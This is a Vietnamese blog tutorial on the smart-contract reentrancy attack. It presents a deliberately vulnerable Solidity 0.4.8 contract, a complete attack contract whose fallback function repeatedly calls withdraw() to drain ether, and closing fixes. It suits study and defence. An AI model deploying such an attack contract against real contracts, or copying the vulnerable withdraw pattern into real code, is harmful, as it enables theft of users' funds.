Reentrancy Attack

lofiboy
tradahacking
Published in
4 min readJul 22, 2018

Mình có nghiên cứu 1 chút về smart contract nên hôm nay viết 1 bài chia sẻ về Reentrancy Attack . Bài này yêu cầu mọi người có chút kiến thức về Blockchain, Smart Contract với Solidity .

The Vulnerable Contract

pragma solidity ^0.4.8;contract Victim {mapping(address => uint) public _balanceOf;function withdraw(){
require (_balanceOf[msg.sender] > 0);
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;
}

function deposit() payable {
_balanceOf[msg.sender] = msg.value;
}
}

Vulnerable Contract sẽ có 2 chức năng là withdraw()deposit() .

mapping(address => uint) public _balanceOf;

_balance0f là mảng lưu trữ số tiền mà người dùng đã gửi.

function deposit() payable {
_balanceOf[msg.sender] = msg.value;
}

deposit() là chức năng gửi tiền. Ví dụ địa chỉ của bạn là 0x6E16D5938b67aB67F43Aa77356e3cdD5adF9Dc20 và bạn gửi 5 ETH thì giá trị của msg.value sẽ bằng 5.10¹⁸ wei và sẽ được lưu trong _balanceOf[0x6E16D5938b67aB67F43Aa77356e3cdD5adF9Dc20] .

function withdraw(){
require (_balanceOf[msg.sender] > 0);
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;
}

withdraw() là chức năng rút lại số tiền mà họ đã gửi.

require (_balanceOf[msg.sender] > 0);

Dòng đầu tiên sẽ kiểm tra số dư ( msg.sender là địa chỉ của người dùng ).

uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();

Đây là nơi sẽ tận dụng để exploit. Mục đích của 2 dòng này là gửi lại số tiền được lưu trong _balanceOf[msg.sender] .

_balanceOf[msg.sender] = 0;

Sau khi gửi xong thì gán lại bằng 0️⃣.

Call Function And Fallback Function

Trước khi exploit chúng ta sẽ tìm hiểu call functionfallback function.

Trong smart contract mỗi contract là 1 đối tượng giống trong lập trình hướng đối tượng. Ví dụ mình muốn sử dụng phương thức fun(uint256 x) trong contract 🅰️ thì mình gọi nó bằng cách 🅰️.fun(1) . Có 1 cách khác để gọi phương thức fun(uint256 x) là dùng call .

A.call.(bytes4(sha3("fun(uint256)")), 1)

Để xác định phương thức được sử dụng thì dựa trên 4 byte đầu tiên của sha3("fun(uint256)") .

Fallback function có dạng là function () { ... } được gọi khi mà phương thứcfun(uint256 x) không tồn tại trong contract 🅰️( Cái này giống default trong switch case 😄 ). Fallback function cũng được gọi khi nhận ether ( có dạng là function() payable { ... } ).

How To Exploit ❔

Quay trở lại với đoạn code có 🐞

uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;

Nếu như msg.sender là địa chỉ của người dùng 🅰️ thì sau khi thực hiện đoạn code trên thì 🅰️ sẽ nhận được ❌ ether và _balanceOf[🅰️] = 0️⃣

Ngược lại msg.sender là địa chỉ của contract 🅱️ thì 🅱️ sẽ nhận được ❌ ether và đồng thời thực thi fallback function trong 🅱️. Fallback function trong 🅱️ có thể gọi tiếp hàm withdraw() của contract 🏦 để rút tiền bởi vì _balanceOf[🅱️] vẫn là ❌. Vậy là mình có thể rút hết 💰 của 🏦

Dưới đây là hình minh họa quá trình exploit .

                🅱️(0 ETH)            🏦(2 ETH)
0 ETH withdraw function 1 ETH
/
1 ETH /
/
1 ETH fallback function 1 ETH
\
\
\
withdraw function 0 ETH
/
1 ETH /
/
2 ETH fallback function
\
\
\
withdraw function 0 ETH
X
X
X
2 ETH fallback function

Khi 🏦 hết 💰 thì msg.sender.call.value(x)() bị fail và ngay lúc đó vòng lặp ngừng lại. Easy money 😏

The Attack Contract

Phần này mình sẽ viết 🅱️ để exploit 🏦

pragma solidity ^0.4.8;import './Victim.sol';contract B{
Victim public v;
uint public count;
function B(address victim) {
v = Victim(victim);
}
function attack() {
v.withdraw();
}
function deposit() public payable{
v.deposit.value(msg.value)();
}
function () payable {
count++;
if (count < 3) {
v.withdraw();
}
}
}

Mình sẽ giải thích các thành phần trong 🅱️

Victim public v;
uint public count;

v là địa chỉ của contract 🏦

count là số lần mà mình muốn rút tiền.

function B(address victim) {
v = Victim(victim);
}

Đây là phương thức khởi tạo của 🅱️ với tham số là địa chỉ của 🏦

function deposit() public payable{
v.deposit.value(msg.value)();
}

desposit() là phương thức trung gian để mình gửi tiền vô 🏦( 🙎 ➡️ 🅱️ ➡️ 🏦).

function () payable {
count++;
if (count < 3) {
v.withdraw();
}
}

Đây là fallback function của 🅱️. Ở đây mình rút 3️⃣ lần thì dừng.

function attack() {
v.withdraw();
}

Cuối cùng là phương thức để trigger 🐞

FIX 🐞

  1. Sử dụng transfer() hoặc send() thay thế cho call() .
  2. Đặt _balanceOf[msg.sender] = 0 trước msg.sender.call.value(x)() .

Conclusion

Bài viết này là theo những gì mình hiểu. Bài viết còn nhiều thiếu sót mong mọi người đóng ý kiến để bài viết tốt hơn. Cám ơn mọi người đã dành thời gian để đọc 😺

--

--